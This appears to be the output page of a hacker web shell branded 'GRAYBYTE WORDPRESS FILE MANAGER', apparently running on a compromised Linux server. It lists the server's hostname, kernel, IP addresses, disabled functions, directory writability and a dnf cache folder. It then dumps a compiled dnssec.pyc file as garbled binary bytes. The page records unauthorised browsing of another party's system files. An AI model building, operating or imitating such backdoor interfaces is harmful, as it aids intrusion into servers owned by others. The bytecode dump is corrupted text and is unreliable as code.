✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib/python3.9/site-packages/dnf/__pycache__//dnssec.cpython-39.pyc
a

�!cu-�@s�ddlmZddlmZddlmZddlmZddlZddlZddlZddl	Z	ddl
mZddlZ
ddlZ
e�d�ZdZGd	d
�d
e
jj�Zddd
�ZGdd�de�ZGdd�d�ZGdd�d�ZGdd�d�Zdd�Zdd�ZGdd�d�ZdS)�)�print_function)�absolute_import)�unicode_literals)�EnumN��_�dnf�=c@seZdZdZdd�ZdS)�DnssecErrorz-
    Exception used in the dnssec module
    cCsd�|jdur|jnd�S)Nz<DnssecError, value='{}'>z
Not specified)�format�value��self�r�./usr/lib/python3.9/site-packages/dnf/dnssec.py�__repr__-s�zDnssecError.__repr__N)�__name__�
__module__�__qualname__�__doc__rrrrrr
)sr
�_openpgpkeycCs�|�dd�}t|�dkr$d}t|��|d}|d}t��}|�|�d��t�|�	�dd���
d���}|d|d|S)	z�
    Implements RFC 7929, section 3
    https://tools.ietf.org/html/rfc7929#section-3
    :param email_address:
    :param tag:
    :return:
    �@��z0Email address must contain exactly one '@' sign.rzutf-8��.)�rsplit�lenr
�hashlibZsha256�update�encode�base64Z	b16encode�digest�decode�lower)Z
email_address�tag�split�msg�local�domain�hashr"rrr�email2location2s	�r+c@s(eZdZdZdZdZdZdZdZdZ	dS)	�Validityz�
    Output of the verification algorithm.
    TODO: this type might be simplified in order to less reflect the underlying DNS layer.
    TODO: more specifically the variants from 3 to 5 should have more understandable names
    rr����	N)
rrrr�VALID�REVOKED�PROVEN_NONEXISTENCE�RESULT_NOT_SECURE�BOGUS_RESULT�ERRORrrrrr,Jsr,c@seZdZdZdS)�NoKeyz�
    This class represents an absence of a key in the cache. It is an expression of non-existence
    using the Python's type system.
    N)rrrrrrrrr7Xsr7c@s.eZdZdZd	dd�Zdd�Zedd��ZdS)
�KeyInfozv
    Wrapper class for email and associated verification key, where both are represented in
    form of a string.
    NcCs||_||_dS)N)�email�key)rr9r:rrr�__init__eszKeyInfo.__init__cCsd�|j|j�d�dd��S)NzKeyInfo("{}", "{}...")�ascii�)rr9r:r#r
rrrriszKeyInfo.__repr__c	Cs�t�d|�}|durt�|�d�}|�d��d�}d}d}tdt|��D]$}||dkr\|}||dkrH|}qHd	�||d
|d���	d�}t
||�S)z�
        Since dnf uses different format of the key than the one used in DNS RR, I need to convert
        the former one into the new one.
        �	<(.*@.*)>Nrr<�
rz$-----BEGIN PGP PUBLIC KEY BLOCK-----z"-----END PGP PUBLIC KEY BLOCK-----�r)�re�searchr
�groupr#r&�ranger�joinr r8)	ZuseridZraw_keyZinput_emailr9r:�start�stop�iZcat_keyrrr�from_rpm_key_objectls
 zKeyInfo.from_rpm_key_object)NN)rrrrr;r�staticmethodrIrrrrr8`s

r8c@s8eZdZdZiZedd��Zedd��Zedd��ZdS)	�DNSSECKeyVerificationz�
    The main class when it comes to verification itself. It wraps Unbound context and a cache with
    already obtained results.
    cCsZ||krt�d�tjS|tur0t�d�tjSt�d�|��t�d�|��tjSdS)zD
        Compare the key in case it was found in the cache.
        zCache hit, valid keyzCache hit, proven non-existencezKey in cache: {}�Input key   : {}N)�logger�debugr,r1r7r3rr2)�	key_unionZinput_key_stringrrr�
_cache_hit�s

z DNSSECKeyVerification._cache_hitc	
Cs�zddl}Wn>tyJ}z&td�|��}tj�|��WYd}~n
d}~00|��}|�dd�dkrnt	�
d�|�dd�dkr�t	�
d	�|��dkr�t	�
d
�|�d�dkr�t	�
d�|�
t|j�t|j�\}}|dkr�t	�
d
�tjS|j�rt	�
d�|j��tjS|j�s t	�
d�tjS|j�s>|j|jk�rN|j�sNt	�
d�tjS|j�snt	�
d�|j��tjS|j� �d}t!�"|�}||j#k�r�tj$St	�
d�|��t	�
d�|j#��tj%SdS)zz
        In case the key was not found in the cache, create an Unbound context and contact the DNS
        system
        rNzLConfiguration option 'gpgkey_dns_verification' requires python3-unbound ({})z
verbosity:�0z(Unbound context: Failed to set verbosityzqname-minimisation:Zyesz1Unbound context: Failed to set qname minimisationz+Unbound context: Failed to read resolv.confz/var/lib/unbound/root.keyz0Unbound context: Failed to add trust anchor filez%Communication with DNS servers failedz DNSSEC signatures are wrong ({})z!Result is not secured with DNSSECz1Non-existence of this record was proven by DNSSECz&Unknown error in DNS communication: {}zKey from DNS: {}rL)&�unbound�ImportErrorrrr�
exceptions�ErrorZub_ctxZ
set_optionrMrNZ
resolvconfZadd_ta_file�resolver+r9�RR_TYPE_OPENPGPKEYZRR_CLASS_INr,r6ZbogusZ	why_bogusr5Zsecurer4ZnxdomainZrcodeZ
RCODE_NOERRORZhavedatar3Z	rcode_str�dataZas_raw_datar!Z	b64encoder:r1r2)	�	input_keyrR�er'�ctx�status�resultrXZdns_data_b64rrr�_cache_miss�sR�"



�



z!DNSSECKeyVerification._cache_misscCszt�d�|j��tj�|j�}|dur6t�||j�St�	|�}|t
jkrZ|jtj|j<n|t
jkrrt
�tj|j<|SdS)zI
        Public API. Use this method to verify a KeyInfo object.
        z(Running verification for key with id: {}N)rMrNrr9rK�_cache�getrPr:r^r,r1r3r7)rYrOr]rrr�verify�s


zDNSSECKeyVerification.verifyN)	rrrrr_rJrPr^rarrrrrK�s

9rKcCs8td�|jd}|tjkr(|td�S|td�SdS)zE
    Inform the user about key validity in a human readable way.
    zDNSSEC extension: Key for user � z	is valid.zhas unknown status.N)rr9r,r1)Zki�v�prefixrrr�
nice_user_msg�s
recCstd�|S)z;
    Label any given message with DNSSEC extension tag
    zDNSSEC extension: r)�mrrr�any_msg�srgc@s(eZdZdZedd��Zedd��ZdS)�RpmImportedKeysaQ
    Wrapper around keys, that are imported in the RPM database.

    The keys are stored in packages with name gpg-pubkey, where the version and
    release is different for each of them. The key content itself is stored as
    an ASCII armored string in the package description, so it needs to be parsed
    before it can be used.
    c	Cs�tjj��}|�dd�}g}|D]d}tj�|d�}t�d|��d�}tj�|d�}|�	d�dd	�}d
�
|�}|t||�d��g7}q |S)N�namez
gpg-pubkey�packagerr>r�descriptionr?r-���r@r<)
rZrpmZtransactionZTransactionWrapperZdbMatchZ	getheaderrArBrCr&rEr8r )	Ztransaction_setZpackagesZreturn_list�pkgrjr9rkZ	key_linesZkey_strrrr�_query_db_for_gpg_keyss
z&RpmImportedKeys._query_db_for_gpg_keyscCst��}t�ttd���|D]�}zt�|�}WnFtyv}z.t�	d�
|j|j��WYd}~qWYd}~n
d}~00|t
jkr�t�td�
|j���q|t
jkr�t�td�
|j���q|t
jkr�t�td�
|j���q|t
jk�rt�td�
|j���qt�td�
|j���qdS)Nz1Testing already imported keys for their validity.z%DNSSEC extension error (email={}): {}zGPG Key {} is validz,GPG Key {} does not support DNS verificationz�GPG Key {} could not be verified, because DNSSEC signatures are bogus. Possible causes: wrong configuration of the DNS server, MITM attackz=GPG Key {} has been revoked and should be removed immediatelyzGPG Key {} could not be tested)rhrnrM�inforgrrKrar
Zwarningrr9rr,r1rNr3r5r2)�keysr:r]rZrrr�check_imported_keys_validitys4�"


�


�

�
z,RpmImportedKeys.check_imported_keys_validityN)rrrrrJrnrqrrrrrhs

rh)r)Z
__future__rrr�enumrr!rZloggingrAZdnf.i18nrZdnf.rpmrZdnf.exceptionsZ	getLoggerrMrWrTrUr
r+r,r7r8rKrergrhrrrr�<module>s*
	
&h

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 May 2026 4.58 AM
root / root
0755
__init__.cpython-39.opt-1.pyc
0.531 KB
20 May 2026 7.48 PM
root / root
0644
__init__.cpython-39.pyc
0.531 KB
20 May 2026 7.48 PM
root / root
0644
base.cpython-39.opt-1.pyc
79.706 KB
20 May 2026 7.48 PM
root / root
0644
base.cpython-39.pyc
79.942 KB
20 May 2026 7.48 PM
root / root
0644
callback.cpython-39.opt-1.pyc
3.646 KB
20 May 2026 7.48 PM
root / root
0644
callback.cpython-39.pyc
3.646 KB
20 May 2026 7.48 PM
root / root
0644
comps.cpython-39.opt-1.pyc
25.171 KB
20 May 2026 7.48 PM
root / root
0644
comps.cpython-39.pyc
25.672 KB
20 May 2026 7.48 PM
root / root
0644
const.cpython-39.opt-1.pyc
1.404 KB
20 May 2026 7.48 PM
root / root
0644
const.cpython-39.pyc
1.404 KB
20 May 2026 7.48 PM
root / root
0644
crypto.cpython-39.opt-1.pyc
6.729 KB
20 May 2026 7.48 PM
root / root
0644
crypto.cpython-39.pyc
6.729 KB
20 May 2026 7.48 PM
root / root
0644
dnssec.cpython-39.opt-1.pyc
9.053 KB
20 May 2026 7.48 PM
root / root
0644
dnssec.cpython-39.pyc
9.053 KB
20 May 2026 7.48 PM
root / root
0644
drpm.cpython-39.opt-1.pyc
5.233 KB
20 May 2026 7.48 PM
root / root
0644
drpm.cpython-39.pyc
5.233 KB
20 May 2026 7.48 PM
root / root
0644
exceptions.cpython-39.opt-1.pyc
7.093 KB
20 May 2026 7.48 PM
root / root
0644
exceptions.cpython-39.pyc
7.093 KB
20 May 2026 7.48 PM
root / root
0644
goal.cpython-39.opt-1.pyc
0.253 KB
20 May 2026 7.48 PM
root / root
0644
goal.cpython-39.pyc
0.253 KB
20 May 2026 7.48 PM
root / root
0644
history.cpython-39.opt-1.pyc
0.279 KB
20 May 2026 7.48 PM
root / root
0644
history.cpython-39.pyc
0.279 KB
20 May 2026 7.48 PM
root / root
0644
i18n.cpython-39.opt-1.pyc
9.419 KB
20 May 2026 7.48 PM
root / root
0644
i18n.cpython-39.pyc
9.419 KB
20 May 2026 7.48 PM
root / root
0644
lock.cpython-39.opt-1.pyc
4.084 KB
20 May 2026 7.48 PM
root / root
0644
lock.cpython-39.pyc
4.084 KB
20 May 2026 7.48 PM
root / root
0644
logging.cpython-39.opt-1.pyc
8.248 KB
20 May 2026 7.48 PM
root / root
0644
logging.cpython-39.pyc
8.311 KB
20 May 2026 7.48 PM
root / root
0644
match_counter.cpython-39.opt-1.pyc
4.041 KB
20 May 2026 7.48 PM
root / root
0644
match_counter.cpython-39.pyc
4.041 KB
20 May 2026 7.48 PM
root / root
0644
package.cpython-39.opt-1.pyc
10.017 KB
20 May 2026 7.48 PM
root / root
0644
package.cpython-39.pyc
10.017 KB
20 May 2026 7.48 PM
root / root
0644
persistor.cpython-39.opt-1.pyc
4.142 KB
20 May 2026 7.48 PM
root / root
0644
persistor.cpython-39.pyc
4.142 KB
20 May 2026 7.48 PM
root / root
0644
plugin.cpython-39.opt-1.pyc
8.852 KB
20 May 2026 7.48 PM
root / root
0644
plugin.cpython-39.pyc
8.852 KB
20 May 2026 7.48 PM
root / root
0644
pycomp.cpython-39.opt-1.pyc
2.945 KB
20 May 2026 7.48 PM
root / root
0644
pycomp.cpython-39.pyc
2.945 KB
20 May 2026 7.48 PM
root / root
0644
query.cpython-39.opt-1.pyc
0.848 KB
20 May 2026 7.48 PM
root / root
0644
query.cpython-39.pyc
0.848 KB
20 May 2026 7.48 PM
root / root
0644
repo.cpython-39.opt-1.pyc
21.903 KB
20 May 2026 7.48 PM
root / root
0644
repo.cpython-39.pyc
21.903 KB
20 May 2026 7.48 PM
root / root
0644
repodict.cpython-39.opt-1.pyc
5.502 KB
20 May 2026 7.48 PM
root / root
0644
repodict.cpython-39.pyc
5.502 KB
20 May 2026 7.48 PM
root / root
0644
sack.cpython-39.opt-1.pyc
2.245 KB
20 May 2026 7.48 PM
root / root
0644
sack.cpython-39.pyc
2.245 KB
20 May 2026 7.48 PM
root / root
0644
selector.cpython-39.opt-1.pyc
0.261 KB
20 May 2026 7.48 PM
root / root
0644
selector.cpython-39.pyc
0.261 KB
20 May 2026 7.48 PM
root / root
0644
subject.cpython-39.opt-1.pyc
0.295 KB
20 May 2026 7.48 PM
root / root
0644
subject.cpython-39.pyc
0.295 KB
20 May 2026 7.48 PM
root / root
0644
transaction.cpython-39.opt-1.pyc
1.634 KB
20 May 2026 7.48 PM
root / root
0644
transaction.cpython-39.pyc
1.634 KB
20 May 2026 7.48 PM
root / root
0644
transaction_sr.cpython-39.opt-1.pyc
16.938 KB
20 May 2026 7.48 PM
root / root
0644
transaction_sr.cpython-39.pyc
16.938 KB
20 May 2026 7.48 PM
root / root
0644
util.cpython-39.opt-1.pyc
22.584 KB
20 May 2026 7.48 PM
root / root
0644
util.cpython-39.pyc
22.638 KB
20 May 2026 7.48 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF